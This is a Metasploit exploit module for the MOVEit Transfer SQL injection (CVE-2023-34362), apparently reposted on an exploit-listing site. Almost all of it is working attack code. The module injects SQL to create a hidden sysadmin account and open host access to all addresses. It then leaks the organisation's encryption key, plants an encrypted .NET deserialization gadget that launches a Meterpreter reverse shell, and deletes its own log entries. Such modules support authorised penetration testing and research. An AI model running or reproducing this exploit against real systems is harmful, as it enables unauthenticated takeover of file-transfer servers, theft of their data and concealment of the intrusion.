MOVEit SQL Injection

2023.06.25
Credit: bwatters-r7
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'MOVEit SQL Injection vulnerability', 'Description' => %q{ This module exploits an SQL injection vulnerability in the MOVEit Transfer web application that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker can leverage an information leak be able to upload a .NET deserialization payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362 'rbowes-r7', # research 'bwatters-r7' # module ], 'References' => [ ['CVE', '2023-34362' ], ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'], ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'], ['URL', 'https://www.wiz.io/blog/cve-2023-34362'] ], 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 345 }, 'Targets' => [ [ 'Windows Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'RPORT' => 443, 'SSL' => true } } ], ], 'DisclosureDate' => '2023-05-31', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']), Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)]) ] ) @moveit_token = nil @moveit_instid = nil @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com" @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15) @uploadfile_size = rand(5..64) @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) @user_added = false @files_json = nil end def begin_file_upload(folders_json, token_json) boundary = rand_text_numeric(27) post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ 'method' => 'POST', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Authorization' => "Bearer #{token_json['access_token']}" }, 'connection' => 'close', 'accept' => '*/*', 'data' => post_data.to_s }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200 files_json = res.get_json_document vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") files_json end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'), 'connection' => 'close', 'accept' => '*/*' }) version = nil if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version') version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version']) # 2020.1.x AKA 12.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10') # 2021.0.x AKA 13.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8') # 2021.1.x AKA 13.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6') # 2022.0.x AKA 14.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6') # 2022.1.x AKA 14.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7') # 2023.0.x AKA 15.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3') else return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def cleanup cleanup_user(@files_json) if @user_added super end def cleanup_user(files_json) hax_username = datastore['USERNAME'] hax_loginname = datastore['LOGIN_NAME'] deleteuser_payload = [ "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. ] if @user_added vprint_status("Deleting user #{hax_username}") sqli(sqli_payload(deleteuser_payload)) @user_added = false end end def create_sysadmin hax_username = datastore['USERNAME'] hax_password = datastore['PASSWORD'] hax_loginname = datastore['LOGIN_NAME'] createuser_payload = [ "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", ] res = sqli(sqli_payload(createuser_payload)) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200 @user_added = true end def encrypt_deserialization_gadget(gadget, org_key) org_key = org_key.gsub(' ', '') org_key = [org_key].pack('H*').bytes.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) deserialization_gadget end def find_folder_id(token_json) folders_response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/api/v1/folders'), 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}" } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200 folders_json = JSON.parse(folders_response.body) vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") folders_json end def get_csrf_token(res) fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ ::Regexp.last_match(1) end def guestaccess_request(body) res = send_request_cgi({ 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri('guestaccess.aspx'), 'connection' => 'close', 'accept' => '*/*', 'vars_post' => body }) res end # Perform a request to the ISAPI endpoint with an arbitrary transaction def isapi_request(transaction, headers) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), 'keep_cookies' => true, 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', 'X-siLock-Transaction': transaction }.merge(headers) }) end def leak_encryption_key(token_json, files_json) haxleak_payload = [ # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234) "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" ] sqli(sqli_payload(haxleak_payload)) leak_response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"), 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}" } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200 leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] vprint_status("Leaked the Org Key: #{org_key}") org_key end def makev1password(password, salt = 'AAAA') fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty? fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4 # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret pwpre = Base64.decode64('=VT2jkEH3vAs=') pwpost = Base64.decode64('=0maaSIA5oy0=') md5 = Digest::MD5.new md5.update(pwpre) md5.update(salt) md5.update(password) md5.update(pwpost) pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC') pw << salt pw << md5.digest return Base64.strict_encode64(pw).gsub('+', '-') end def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16 if iv.nil? iv = Rex::Text.rand_text_alphanumeric(4) # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. iv *= 4 end # MOVEit.DMZ.Core.Cryptography.Encryption key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') key += org_key key += [0, 0, 0, 0].pack('C*') # MOVEit.Crypto.AesMOVEitCryptoTransform cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv encrypted_data = cipher.update(data) + cipher.final data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader header = [ 225, # MOVEitV2EncryptedStringHeader 0, data_sha1_hash[0], data_sha1_hash[1], org_key_sha1_hash[0], org_key_sha1_hash[1], org_key_sha1_hash[2], org_key_sha1_hash[3], iv.unpack('C*')[0], iv.unpack('C*')[1], iv.unpack('C*')[2], iv.unpack('C*')[3], ].pack('C*') # MOVEit.DMZ.Core.Cryptography.Encryption return tag + Base64.strict_encode64(header + encrypted_data) end def populate_token_instid begin res = send_request_cgi({ 'method' => 'GET', 'keep_cookies' => true, 'connection' => 'keep-alive', 'accept' => '*/*' }) cookies = res.get_cookies # Get the session id from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ @moveit_token = ::Regexp.last_match(1) vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}") # Get the InstID from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/ @moveit_instid = ::Regexp.last_match(1) vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}") end true end def request_api_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/api/v1/token'), 'Content-Type' => 'application/x-www-form-urlencoded', 'connection' => 'keep-alive', 'accept' => '*/*', 'vars_post' => { 'grant_type' => 'password', 'username' => datastore['LOGIN_NAME'], 'password' => datastore['PASSWORD'] } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200 token_json = JSON.parse(res.body) vprint_status("Got API access token='#{token_json['access_token']}'.") token_json end def set_session(session_hash) session_vars = {} session_index = 0 session_hash.each_pair do |k, v| session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}" session_index += 1 end isapi_request('session_setvars', session_vars) end def sqli(sql_payload) # Set up a fake package in the session. The order here is important. We set these session # variables one per request, so first set the package information, then switch over to a # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this # order the session will be cleared and the injection will not work. set_session({ 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0) 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => sql_payload, 'MyUsername' => 'Guest' }) # Get a CSRF token - this has to be *after* you set MyUsername, since the # username is incorporated into it # # Transaction => request type, different types will work # Arg06 => the package access code (must match what's set above) # Arg12 => promptaccesscode requests a form, which contains a CSRF code body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } csrf = get_csrf_token(guestaccess_request(body)) # This does the actual injection body = { 'Arg06' => 'accesscode', 'transaction' => 'secmsgpost', 'Arg01' => 'subject', 'Arg04' => 'body', 'Arg05' => 'sendauto', 'Arg09' => 'pkgtest9', 'csrftoken' => csrf } guestaccess_request(body) end def sqli_payload(sql_payload) # Create the initial injection, and create the session object payload = [ # The initial injection "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')", ].concat(sql_payload) # Join our payload, and terminate with a comment character return payload.join(';') + ';#' end def trigger_deserialization(token_json, files_json, folders_json) files_response = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"), 'connection' => 'close', 'accept' => '*/*', 'verify' => false, 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}", 'Content-Type' => 'application/octet-stream', 'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}", 'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data) }, 'data' => @uploadfile_data }) # 500 if payload runs :) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500 end def upload_encrypted_gadget(encrypted_gadget, files_json) haxupload_payload = [ "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", ] vprint_status('Planting encrypted gadget into the DB...') sqli(sqli_payload(haxupload_payload)) end def exploit # Get the sessionID and siLockLongTermInstID print_status('[01/11] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd print_status('[02/11] Create New Sysadmin') create_sysadmin print_status('[03/11] Get API Token') token_json = request_api_token print_status('[04/11] Get Folder ID') folders_json = find_folder_id(token_json) print_status('[05/11] Begin File Upload') @files_json = begin_file_upload(folders_json, token_json) print_status('[06/11] Leak Encryption Key') org_key = leak_encryption_key(token_json, @files_json) print_status('[07/11] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) print_status('[08/11] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) print_status('[09/11] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, @files_json) print_status('[10/11] Trigger Gadget') trigger_deserialization(token_json, @files_json, folders_json) print_status('[11/11] Cleaning Up') cleanup_user(@files_json) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top